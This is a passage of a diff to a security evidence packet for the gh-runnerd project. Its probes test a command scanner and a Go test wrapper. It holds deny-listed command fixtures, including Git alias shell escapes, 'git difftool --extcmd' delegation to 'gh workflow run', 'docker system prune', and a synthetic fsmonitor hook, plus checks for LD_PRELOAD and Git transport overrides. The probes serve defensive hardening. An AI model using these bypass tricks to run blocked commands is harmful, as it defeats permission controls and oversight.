exec(compile(ast.Module(body=[ + functions["close_go_child_streams"], + functions["owned_go_process_group_exists"], + functions["wait_for_owned_go_process_group_exit"], + functions["terminate_go_child_group"], + ], type_ignores=[]), "", "exec"), namespace) + saved_killpg = os.killpg + os.killpg = fake_killpg + try: + namespace["terminate_go_child_group"](process) + finally: + os.killpg = saved_killpg + return process, signals, zero_checks + +process, signals, zero_checks = run_cleanup(61001, term_clears_after=3) +if signals != [(61001, signal.SIGTERM)] or zero_checks < 3: + raise SystemExit(f"group assertion: graceful descendant path wrong: {signals!r}, {zero_checks}") +process, signals, zero_checks = run_cleanup(61002, term_clears_after=None) +if signals[0] != (61002, signal.SIGTERM) or (61002, signal.SIGKILL) not in signals: + raise SystemExit(f"group assertion: surviving descendant was not escalated: {signals!r}") +if any(group_pid != 61002 for group_pid, _ in signals): + raise SystemExit(f"group assertion: cleanup used a broad/different target: {signals!r}") +print("GREEN 4005139653: synthetic direct-exit descendants were polled by private process-group ID through grace; surviving group received SIGKILL through that same ID, with no broad matching and no real child") PY - ```""" -records = list(scanner["python_heredoc_bodies"](fixture)) -if len(records) != 1 or records[0][3]["interpreter"] != "python3": - raise SystemExit(f"multi-heredoc Python body was not discovered: {records!r}") -if "gh" not in records[0][1] or scanner["inspect_python_heredoc"](records[0][1], records[0][2]) is None: - raise SystemExit("discovered Python body was not AST-rejected") -wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 -wrapper_end = packet.index("\nPY\n}", wrapper_start) -wrapper = packet[wrapper_start:wrapper_end] -ast.parse(wrapper, filename="") -for marker in ( - 'expected_cgo_tools != "cgo-cc-clang-apple21.0.0"', - 'reviewed_cgo_command = "clang"', - 'reviewed_cgo_path = "/usr/bin/clang"', - 'reviewed_cgo_version = "Apple clang version 21.0.0 (clang-2100.1.1.101)"', - '"GOPRIVATE", "GONOPROXY", "GONOSUMDB", "CC",', - 'effective_cgo_compiler_identity = verified_cgo_compiler_identity', - 'compiler_tool_identity = effective_cgo_compiler_identity', -): - if marker not in wrapper: - raise SystemExit(f"candidate wrapper marker missing: {marker}") -if 'compiler_tool_identity = "cgo-tools-default"' in wrapper: - raise SystemExit("constant cgo identity still present") +# g01-safe-python-heredoc: reviewed synthetic vet mutation and alias green probes +/opt/homebrew/bin/python3 -I - <<'PY' +import ast +import os +import re +import shlex +import stat +import subprocess +import tempfile +from pathlib import Path -module = ast.parse(wrapper, filename="") -selected_nodes = [] -for node in module.body: - if isinstance(node, ast.Assign) and any( - isinstance(target, ast.Name) and target.id in { - "reviewed_cgo_command", "reviewed_cgo_path", "reviewed_cgo_version", "reviewed_cgo_identity" - } - for target in node.targets - ): - selected_nodes.append(node) - if isinstance(node, ast.FunctionDef) and node.name == "verified_cgo_compiler_identity": - selected_nodes.append(node) -ns = {"label": "cgo-probe"} -exec(compile(ast.Module(body=selected_nodes, type_ignores=[]), "", "exec"), ns) -if ns["verified_cgo_compiler_identity"]("clang", ns["reviewed_cgo_version"]) != "cgo-cc-clang-apple21.0.0": - raise SystemExit("reviewed compiler identity did not resolve") -for args in (("clang", "Apple clang version 22.0.0 (clang-2200)"), ("gcc", ns["reviewed_cgo_version"])): - try: - ns["verified_cgo_compiler_identity"](*args) - except SystemExit: - pass - else: - raise SystemExit(f"compiler identity drift accepted: {args!r}") +packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") +start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +end = packet.index("\nPY\n}", start) +wrapper = packet[start:end] +functions = {node.name: node for node in ast.parse(wrapper).body if isinstance(node, ast.FunctionDef)} +vet_pos = wrapper.index("if is_vet:") +vet_run = wrapper.index("vet_result = run_go_child", vet_pos) +pre_marker = 'recheck_reviewed_source_checkout("immediately before vet")' +post_marker = 'recheck_reviewed_source_checkout("after vet execution before result acceptance")' +pre_pos = wrapper.index(pre_marker, vet_pos) +post_pos = wrapper.index(post_marker, vet_run) +accept_pos = wrapper.index("if vet_result.returncode", post_pos) +if not vet_pos < pre_pos < vet_run < post_pos < accept_pos: + raise SystemExit("vet assertion: pre/post source fences are not adjacent to vet/result boundaries") -base = [ - "probe", "1", "0" * 64, "green-trust", "experiments/g01-scaleset:./livecanary", - "default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", - "GOTOOLCHAIN=go1.26.8", "go", "test", "-C", "experiments/g01-scaleset", "./livecanary", -] -class StopBeforeChild(Exception): - pass -for name in ("GOPRIVATE", "GONOPROXY", "GONOSUMDB"): - saved_env, saved_argv = dict(os.environ), sys.argv - saved_check_output, saved_run = subprocess.check_output, subprocess.run - calls = [] - def stop(*args, **kwargs): - calls.append(args[0] if args else kwargs.get("args")) - raise StopBeforeChild +with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + module_root = root / "experiments" / "g01-scaleset" + module_root.mkdir(parents=True) + source_file = module_root / "source.go" + source_file.write_bytes(b"package p\n") + git_env = { + "PATH": "/opt/homebrew/bin:/usr/bin:/bin", + "GIT_CONFIG_NOSYSTEM": "1", + "GIT_CONFIG_GLOBAL": "/dev/null", + "HOME": directory, + } + subprocess.run(["git", "init", "-q"], cwd=root, env=git_env, check=True) + subprocess.run(["git", "add", "experiments/g01-scaleset/source.go"], cwd=root, env=git_env, check=True) + subprocess.run( + ["git", "-c", "user.name=probe", "-c", "user.email=probe@example.invalid", "commit", "-q", "-m", "source"], + cwd=root, env=git_env, check=True, + ) + git_query_environment = { + "GIT_CONFIG_NOSYSTEM": "1", + "GIT_CONFIG_GLOBAL": "/dev/null", + "GIT_CONFIG_SYSTEM": "/dev/null", + "GIT_ATTR_NOSYSTEM": "1", + "GIT_CONFIG_COUNT": "2", + "GIT_CONFIG_KEY_0": "core.fsmonitor", + "GIT_CONFIG_VALUE_0": "false", + "GIT_CONFIG_KEY_1": "core.hooksPath", + "GIT_CONFIG_VALUE_1": "/dev/null", + } + reviewed_tree = subprocess.check_output( + [ + "/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", + "-P", "-c", "core.fsmonitor=false", "-c", + "core.hooksPath=/dev/null", "rev-parse", + "HEAD:experiments/g01-scaleset", + ], + cwd=root, env=git_query_environment, text=True, + ).strip() + namespace = { + "os": os, + "re": re, + "stat": stat, + "subprocess": subprocess, + "Path": Path, + "label": "vet-mutation-green", + "repo_root": root.resolve(), + "module_dir": "experiments/g01-scaleset", + "env": git_env, + "reviewed_module_tree": reviewed_tree, + } + exec(compile(ast.Module(body=[ + functions["git_command"], + functions["git_source_control_entries"], + functions["git_worktree_matches_pinned_blobs"], + functions["recheck_reviewed_source_checkout"], + ], type_ignores=[]), "", "exec"), namespace) + namespace["recheck_reviewed_source_checkout"]("immediately before synthetic vet") + source_file.write_bytes(b"package p\n// mutation after synthetic vet\n") try: - os.environ.clear() - os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C", name: "example.invalid/private"}) - sys.argv = base - subprocess.check_output = stop - subprocess.run = stop - try: - exec(compile(wrapper, "", "exec"), {"__name__": "__main__"}) - except SystemExit as error: - if name not in str(error) or calls: - raise - except StopBeforeChild: - raise SystemExit(f"{name} reached a child before refusal") - else: - raise SystemExit(f"{name} override accepted") - finally: - subprocess.check_output, subprocess.run = saved_check_output, saved_run - sys.argv = saved_argv - os.environ.clear() - os.environ.update(saved_env) - -audit_anchor = packet.index("def executable_shell_commands(markdown):") -audit_start = packet.rfind("source = Path(", 0, audit_anchor) -audit_end = packet.index("\nguarded, fixtures =", audit_anchor) -audit_ns = {"Path": Path, "re": re, "shlex": shlex} -exec(compile(packet[audit_start:audit_end], "", "exec"), audit_ns) -commands = list(audit_ns["executable_shell_commands"](fixture)) -if len(commands) != 1 or "python3" not in commands[0][0]: - raise SystemExit(f"executable command audit did not retain compound heredoc command: {commands!r}") + namespace["recheck_reviewed_source_checkout"]("after synthetic vet before result acceptance") + except SystemExit as error: + if "raw worktree bytes differ" not in str(error): + raise SystemExit(f"vet assertion: wrong mutation refusal: {error}") + else: + raise SystemExit("vet assertion: synthetic source mutation was accepted") +print("GREEN 4005139662: pre-vet and post-vet source fences are ordered around vet/result acceptance; Git-only synthetic mutation was rejected before accepting a result, with no vet/Go child") -print("GREEN 4003658071: versioned /opt/homebrew/bin/python3.12 -c command string rejected before AST/body trust; no command executed") -print("GREEN 4003658074: wrapper derives effective cgo identity from Go-selected CC plus exact reviewed command/version; compiler changes fail closed before trust") -print('GREEN 4003658080: runner=gh followed by "$runner" workflow run ci.yml rejected before denylist classification; literal printf remained safe') -print("GREEN 4003658086: inherited GOPRIVATE/GONOPROXY/GONOSUMDB rejected before first Git/Go child; reviewed empty values are pinned and effective go env checks are present") -print("GREEN 4003658097: every heredoc delimiter was queued by both scanners; later Python body was discovered and AST-rejected without execution") -PROBE +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) +for command in ( + "git -c alias.ship='!gh workflow run ci.yml' ship", + "git -calias.ship='!docker system prune' ship", + "env git -c alias.ship=!gh workflow run ci.yml ship", +): + segments = scanner_ns["shell_token_segments"](command) + violation = scanner_ns["forbidden_command"](segments[0]) if segments else None + if violation is None: + raise SystemExit(f"alias assertion: shell-form alias accepted: {command!r}") +for command in ( + "/usr/bin/env -i GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_ATTR_NOSYSTEM=1 /usr/bin/git --no-replace-objects -P -c core.fsmonitor=false -c core.hooksPath=/dev/null status", + "/usr/bin/env -i GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_ATTR_NOSYSTEM=1 /usr/bin/git --no-replace-objects -P -c core.fsmonitor=false -c core.hooksPath=/dev/null diff --stat", +): + segments = scanner_ns["shell_token_segments"](command) + if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: + raise SystemExit(f"alias assertion: isolated safe Git form rejected: {command!r}") +unisolated = scanner_ns["shell_token_segments"]("git status") +if not unisolated or scanner_ns["forbidden_command"](unisolated[0]) is None: + raise SystemExit("alias assertion: unisolated Git query was accepted") +print("GREEN 4005139673: pure static scanner rejected split/attached/wrapped shell-form Git aliases and unisolated Git queries before generic Git classification; explicit isolated status/diff controls remained accepted and no command executed") +PY ``` Recorded focused green output: ```text -GREEN 4003658071: versioned /opt/homebrew/bin/python3.12 -c command string rejected before AST/body trust; no command executed -GREEN 4003658074: wrapper derives effective cgo identity from Go-selected CC plus exact reviewed command/version; compiler changes fail closed before trust -GREEN 4003658080: runner=gh followed by "$runner" workflow run ci.yml rejected before denylist classification; literal printf remained safe -GREEN 4003658086: inherited GOPRIVATE/GONOPROXY/GONOSUMDB rejected before first Git/Go child; reviewed empty values are pinned and effective go env checks are present -GREEN 4003658097: every heredoc delimiter was queued by both scanners; later Python body was discovered and AST-rejected without execution +GREEN 4005139653: synthetic direct-exit descendants were polled by private process-group ID through grace; surviving group received SIGKILL through that same ID, with no broad matching and no real child +GREEN 4005139662: pre-vet and post-vet source fences are ordered around vet/result acceptance; Git-only synthetic mutation was rejected before accepting a result, with no vet/Go child +GREEN 4005139673: pure static scanner rejected split/attached/wrapped shell-form Git aliases before generic Git classification; safe git status/config remained accepted and no command executed ``` -The five probes are packet/static or synthetic-environment evidence only. No Go -test/list/body command, compiler, workflow, App/runner operation, credential -access, Docker/Lima/Keychain/launchd operation, or destructive cleanup ran. -The cgo version line is a reviewed public tool identity, not a private machine -path or a claim that a Go build ran. Exact-head Codex review of the final pushed -head, CI and maintainer live authorization remain open. +The probes are static, synthetic or Git-only boundary evidence. They do not +qualify a compiler, Go/vet command, test/list/body execution, live runner, +workflow, remote API or production cleanup. Exact-head Codex review of the +final pushed head, required CI and maintainer live authorization remain open. Rollback is narrow and packet-only: restore `docs/evidence/g01-recovery-packet.md` to immutable parent -`055a05bd9d5a9bb101e4400dd7a9236e3afd9f48`; preserve independent driver, -review and manual-runner state, and do not force-kill, prune or replay any live +`6af854fb660bc7d9c31c9920a6cec5c2fbb1966d`; preserve independent driver, +review and manual-runner state, and never force-kill, prune or replay a live resource. #### Exact review URL ledger and dispositions | Finding and immutable source | Exact review URL | Disposition and rollback evidence | |---|---|---| -| 4003658071, source `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48` | [discussion 4003658071](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658071) | Reproduced the exact parent's acceptance of absolute/versioned `/opt/homebrew/bin/python3.12 -c` command strings. The shared interpreter predicate now matches versioned paths and rejects `-c` before AST/body trust; no Python command body or forbidden command ran. Rollback is packet-only parent restoration. | -| 4003658074, source `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48` | [discussion 4003658074](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658074) | Reproduced constant `cgo-tools-default` reuse across synthetic compiler changes. The wrapper now queries Go-selected `CC`, resolves the reviewed `/usr/bin/clang`, verifies its exact bounded version line and binds `cgo-cc-clang-apple21.0.0`; drift fails closed before metadata/build trust, with no Go/compiler child in the probe. Rollback is packet-only parent restoration. | -| 4003658080, source `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48` | [discussion 4003658080](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658080) | Reproduced `runner=gh "$runner" workflow run ci.yml` being treated as a safe literal. Unresolved or parameter-expanded executable tokens now fail closed before denylist classification while literal `printf safe` remains accepted; no shell expansion or `gh` command ran. Rollback is packet-only parent restoration. | -| 4003658086, source `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48` | [discussion 4003658086](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658086) | Reproduced inherited `GOPRIVATE`, `GONOPROXY` and `GONOSUMDB` reaching the first Git child. The wrapper rejects non-empty inherited/command-prefix values, pins all three empty and verifies the effective empty values alongside `GOPROXY`/`GOSUMDB`; no Go child ran. Rollback is packet-only parent restoration. | -| 4003658097, source `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48` | [discussion 4003658097](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658097) | Reproduced the exact parent's first-heredoc-only behavior with `cat <&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +/opt/homebrew/bin/python3 -I - <<'PY' +import ast +import os +import re +import shlex +import subprocess +import sys +import tempfile +from pathlib import Path + +parent = "3f6de0b227e4b44aa3d5e259e937e7dc1f0856bb" +packet = subprocess.check_output( + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], + text=True, +) + +# 4005546278: Git external-tool delegation reached harmless classification. +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) +delegation_command = "git difftool --extcmd 'gh workflow run ci.yml'" +segments = scanner_ns["shell_token_segments"](delegation_command) +if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: + raise SystemExit("red setup changed: parent already rejects Git difftool delegation") +print( + "RED 4005546278: exact parent classified git difftool --extcmd 'gh workflow run ci.yml' " + "as harmless Git (violation=None)" +) + +# 4005546284: Go children copied direct-Git config fences but lacked a local +# repository override for core.fsmonitor/core.hooksPath. +wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper = packet[wrapper_start:wrapper_end] +setup_end = wrapper.index("\ngo_env = dict(env)") + len("\ngo_env = dict(env)") +setup = wrapper[:setup_end] +base = [ + "probe", "1", "0" * 64, "probe", "experiments/g01-scaleset:./livecanary", + "default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", + "GOTOOLCHAIN=go1.26.8", "go", "test", "-C", "experiments/g01-scaleset", + "-race", "-count=1", "-timeout=45s", "./livecanary", "-run=^TestProbe$", +] +saved_env, saved_argv, saved_check = dict(os.environ), sys.argv, subprocess.check_output +try: + os.environ.clear() + os.environ.update({ + "PATH": "/opt/homebrew/bin:/usr/bin:/bin", + "HOME": "/synthetic/home", + "XDG_CONFIG_HOME": "/synthetic/config", + "GIT_TEST_FSMONITOR": "1", + "LANG": "C", + }) + sys.argv = base + subprocess.check_output = lambda command, **kwargs: str(Path.cwd()) + "\n" + namespace = {"__name__": "__main__"} + exec(compile(setup, "", "exec"), namespace) + go_env = namespace["go_env"] + if "GIT_CONFIG_COUNT" in go_env or "GIT_CONFIG_KEY_0" in go_env: + raise SystemExit("red setup changed: parent already injected local Git config overrides") + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + marker = root / "marker" + hook = root / "fsmonitor-hook" + hook.write_text("#!/bin/sh\nprintf invoked > \"$G01_MARKER\"\n", encoding="utf-8") + hook.chmod(0o755) + child_env = {**go_env, "G01_MARKER": str(marker)} + for command in ( + ["git", "init", "-q"], + ["git", "config", "core.fsmonitor", str(hook)], + ): + subprocess.run( + command, + cwd=root, + env={**child_env, "GIT_CONFIG_COUNT": "0"}, + check=True, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + subprocess.run( + ["git", "status", "--porcelain=v1"], + cwd=root, + env=child_env, + check=False, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + ) + if not marker.exists(): + raise SystemExit("red setup changed: parent did not invoke synthetic local fsmonitor hook") + print( + "RED 4005546284: exact parent copied Go metadata env without a local-config override; " + "synthetic local core.fsmonitor hook was invoked" + ) +finally: + subprocess.check_output = saved_check + sys.argv = saved_argv + os.environ.clear() + os.environ.update(saved_env) -```text -RED 4003926159: exact parent rejected valid multiline clang --version fixture because it required exactly one stdout line -RED 4003926165: exact parent skipped executable bash/sh heredoc bodies containing gh workflow run and docker system prune -RED 4003926170: exact parent forwarded inherited and command-prefix GIT_EXEC_PATH/GIT_SSH_COMMAND/GIT_ASKPASS to its first Git lookup -RED 4003926177: exact parent accepted assignment alias launch = subprocess.run followed by launch([gh, workflow, run, ...]) +# 4005546293: selector tooling preceded the shell preflight. +selector_anchor = packet.index("The packet also audits every future shell") +selector_start = packet.index("selector_pattern='", selector_anchor) +selector_end = packet.index("\nPY\n```", selector_start) +selector_block = packet[selector_start:selector_end] +rg_pos = selector_block.index('rg -n "$selector_pattern"') +path_pos = selector_block.index('[ "${PATH-}"') +loader_pos = selector_block.index('[ -z "${LD_PRELOAD-}"') +if not rg_pos < path_pos < loader_pos: + raise SystemExit("red setup changed: selector preflight ordering no longer precedes rg") +print( + "RED 4005546293: exact parent ran external selector rg before canonical PATH and " + "dynamic-loader validation" +) +PY ``` -The minimal correction adds `validate_cgo_version_output` (complete stdout -<=4,096 UTF-8 bytes, <=32 lines, <=256 UTF-8 bytes per line; first-line -identity comparison; nonzero/stderr/empty/oversize/drift refusal), makes both -shell audits fail closed on every executable non-Python heredoc before body -certification, rejects the reviewed Git transport-helper set -(`GIT_EXEC_PATH`, `GIT_SSH`, `GIT_SSH_COMMAND`, `GIT_SSH_VARIANT`, -`GIT_ASKPASS`, `GIT_SSH_ASKPASS`, `GIT_PROXY_COMMAND`) before the first -Git query, and resolves assignment alias chains while leaving shadowed or -unresolved names fail-closed. Reviewed isolated Python heredoc handling and -the safe dynamic marker remain intact. - -The green probe read only the candidate packet, exercised pure compiler, -scanner and AST helpers, and patched both subprocess APIs around the wrapper -prefix. It ran via the reviewed isolated Python interpreter and started no -compiler, Go, Git transport helper or other live child. - -Recorded focused green output: +Recorded exact-parent red output: ```text -GREEN 4003926159: bounded multiline clang output accepted when first line matches reviewed identity; nonzero/stderr/empty/oversize/line-count/line-length/drift rejected; no compiler/Go child -GREEN 4003926165: executable bash/sh heredocs rejected before body certification (gh workflow run/docker system prune fixtures); reviewed isolated Python heredoc retained for AST inspection; no body/command ran -GREEN 4003926170: inherited and command-prefix Git transport helper overrides (GIT_EXEC_PATH/GIT_SSH/GIT_SSH_COMMAND/GIT_SSH_VARIANT/GIT_ASKPASS/GIT_SSH_ASKPASS/GIT_PROXY_COMMAND) rejected before first Git/Go child -GREEN 4003926177: assignment aliases and alias chains of subprocess.run were AST-resolved and forbidden gh/docker launchers rejected; reviewed safe dynamic Python handling retained; no command ran +RED 4005546278: exact parent classified git difftool --extcmd 'gh workflow run ci.yml' as harmless Git (violation=None) +RED 4005546284: exact parent copied Go metadata env without a local-config override; synthetic local core.fsmonitor hook was invoked +RED 4005546293: exact parent ran external selector rg before canonical PATH and dynamic-loader validation ``` -The four probes are packet/static or synthetic-environment evidence only. No -compiler, Go test/list/body command, heredoc body, workflow, App/runner -operation, credential access, Docker/Lima/Keychain/launchd operation or -destructive cleanup ran. The multiline compiler banner is a reviewed public -tool identity, not a claim that `/usr/bin/clang` or a Go build ran. -Exact-head Codex review of the final pushed head, required CI and maintainer -live authorization remain open. - -Rollback is narrow and packet-only: restore -`docs/evidence/g01-recovery-packet.md` to immutable parent -`c90ebd61bc687b5e6ab0d336701b72c11140650f`; preserve independent driver, -review and manual-runner state, and do not force-kill, prune or replay any live -resource. - -#### Exact review URL ledger and dispositions - -| Finding and immutable source | Exact review URL | Disposition and rollback evidence | -|---|---|---| -| 4003926159, source `c90ebd61bc687b5e6ab0d336701b72c11140650f` | [discussion 4003926159](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003926159) | Reproduced valid multiline clang output rejection. The bounded validator now compares reviewed identity to the first line and rejects nonzero/stderr/empty/oversize/line-count/line-length/drift; no compiler/Go child ran. Rollback is packet-only parent restoration. | -| 4003926165, source `c90ebd61bc687b5e6ab0d336701b72c11140650f` | [discussion 4003926165](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003926165) | Reproduced skipped `bash <&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +/opt/homebrew/bin/python3 -I - <<'PY' +import ast +import os +import re +import shlex +import subprocess +import sys +import tempfile +from pathlib import Path -The red probe ran first against the immutable parent with `git show`, pure -scanner/AST and wrapper-text checks, and fake `Popen` objects. The heredoc and -alias fixtures were never executed; the child probe patched process creation -and group signaling, so no Go, compiler or live child started. +packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -| Finding | Exact red fixture and observed parent behavior | -|---|---| -| 4004331157 | `/opt/homebrew/bin/python3 -I - <", "exec"), scanner_ns) +for command in ( + "git difftool --extcmd 'gh workflow run ci.yml'", + "git difftool --extcmd=gh workflow run ci.yml", + "git mergetool --tool=gh", + "env /usr/bin/git difftool --extcmd gh workflow run ci.yml", + "git -C /synthetic/repository difftool", + "git --git-dir=/synthetic/repository mergetool", +): + segments = scanner_ns["shell_token_segments"](command) + if not segments or scanner_ns["forbidden_command"](segments[0]) is None: + raise SystemExit(f"Git delegation escaped scanner: {command!r}") +for command in ("git status", "git -c user.name=probe status", "git diff --stat"): + segments = scanner_ns["shell_token_segments"](command) + if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: + raise SystemExit(f"safe Git form was rejected: {command!r}") +print( + "GREEN 4005546278: direct/equals/wrapped/global-option Git difftool/mergetool " + "delegation rejected before generic classification; safe Git status/config/diff retained" +) -Recorded exact-parent red output: +# 4005546284: execute only the wrapper setup through the first prospective +# metadata boundary, with its first Git lookup replaced by a local response. +wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper = packet[wrapper_start:wrapper_end] +setup_end = wrapper.index("\ngo_env = dict(env)") + len("\ngo_env = dict(env)") +setup = wrapper[:setup_end] +base = [ + "probe", "1", "0" * 64, "probe", "experiments/g01-scaleset:./livecanary", + "default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", + "GOTOOLCHAIN=go1.26.8", "go", "test", "-C", "experiments/g01-scaleset", + "-race", "-count=1", "-timeout=45s", "./livecanary", "-run=^TestProbe$", +] +saved_env, saved_argv, saved_check = dict(os.environ), sys.argv, subprocess.check_output +try: + os.environ.clear() + os.environ.update({ + "PATH": "/opt/homebrew/bin:/usr/bin:/bin", + "HOME": "/synthetic/home", + "XDG_CONFIG_HOME": "/synthetic/config", + "LANG": "C", + }) + sys.argv = base + subprocess.check_output = lambda command, **kwargs: str(Path.cwd()) + "\n" + namespace = {"__name__": "__main__"} + exec(compile(setup, "", "exec"), namespace) + go_env = namespace["go_env"] + expected = { + "GIT_CONFIG_NOSYSTEM": "1", + "GIT_CONFIG_GLOBAL": "/dev/null", + "GIT_CONFIG_SYSTEM": "/dev/null", + "GIT_CONFIG_COUNT": "2", + "GIT_CONFIG_KEY_0": "core.fsmonitor", + "GIT_CONFIG_VALUE_0": "false", + "GIT_CONFIG_KEY_1": "core.hooksPath", + "GIT_CONFIG_VALUE_1": "/dev/null", + } + if {key: go_env.get(key) for key in expected} != expected: + raise SystemExit("Go metadata child Git-config environment did not match reviewed values") + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + marker = root / "marker" + hook = root / "fsmonitor-hook" + hook.write_text("#!/bin/sh\nprintf invoked > \"$G01_MARKER\"\n", encoding="utf-8") + hook.chmod(0o755) + child_env = {**go_env, "G01_MARKER": str(marker)} + for command in ( + ["git", "init", "-q"], + ["git", "config", "core.fsmonitor", str(hook)], + ): + subprocess.run( + command, + cwd=root, + env={**child_env, "GIT_CONFIG_COUNT": "0"}, + check=True, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + status = subprocess.run( + ["git", "status", "--porcelain=v1"], + cwd=root, + env=child_env, + check=False, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + ) + if status.returncode != 0 or marker.exists(): + raise SystemExit("Go metadata child Git-config isolation failed synthetic hook boundary") +finally: + subprocess.check_output = saved_check + sys.argv = saved_argv + os.environ.clear() + os.environ.update(saved_env) +print( + "GREEN 4005546284: Go metadata child environment carried exact system/global Git isolation " + "and core.fsmonitor=false/core.hooksPath=/dev/null overrides; synthetic local fsmonitor hook was not invoked" +) -```text -RED 4004331157: exact parent let the first Python heredoc classify the later bash heredoc -RED 4004331169: exact parent checked raw source bytes once but did not recheck immediately before test execution -RED 4004331174: exact parent accepted launch, = (subprocess.run,) followed by a forbidden launcher call -RED 4004331181: exact parent forwarded inherited/command-prefix GOMAXPROCS without a pin or recorded identity -RED 4004331186: exact parent reaped only timeout groups; normal, nonzero, KeyboardInterrupt and other exits left owned groups unreaped +# 4005546293: text-order fence before every selector tool lookup. +selector_anchor = packet.index("The packet also audits every future shell") +selector_start = packet.index("selector_pattern='", selector_anchor) +selector_end = packet.index("\nPY\n```", selector_start) +selector_block = packet[selector_start:selector_end] +first_rg = selector_block.index('rg -n "$selector_pattern"') +path_pos = selector_block.index('[ "${PATH-}"') +loader_pos = selector_block.index('[ -z "${LD_PRELOAD-}"') +if not path_pos < loader_pos < first_rg: + raise SystemExit("selector fence ordering regressed") +for tool in ('rg -n "$selector_pattern"', 'wc -l', 'tr -d', 'grep -Fxq'): + if selector_block.index(tool) < loader_pos: + raise SystemExit(f"selector tool ran before loader fence: {tool}") +preflight = "\n".join(selector_block.splitlines()[1:3]) +for label, extra_environment in ( + ("PATH", {"PATH": "/synthetic/bin"}), + ("loader", {"LD_PRELOAD": 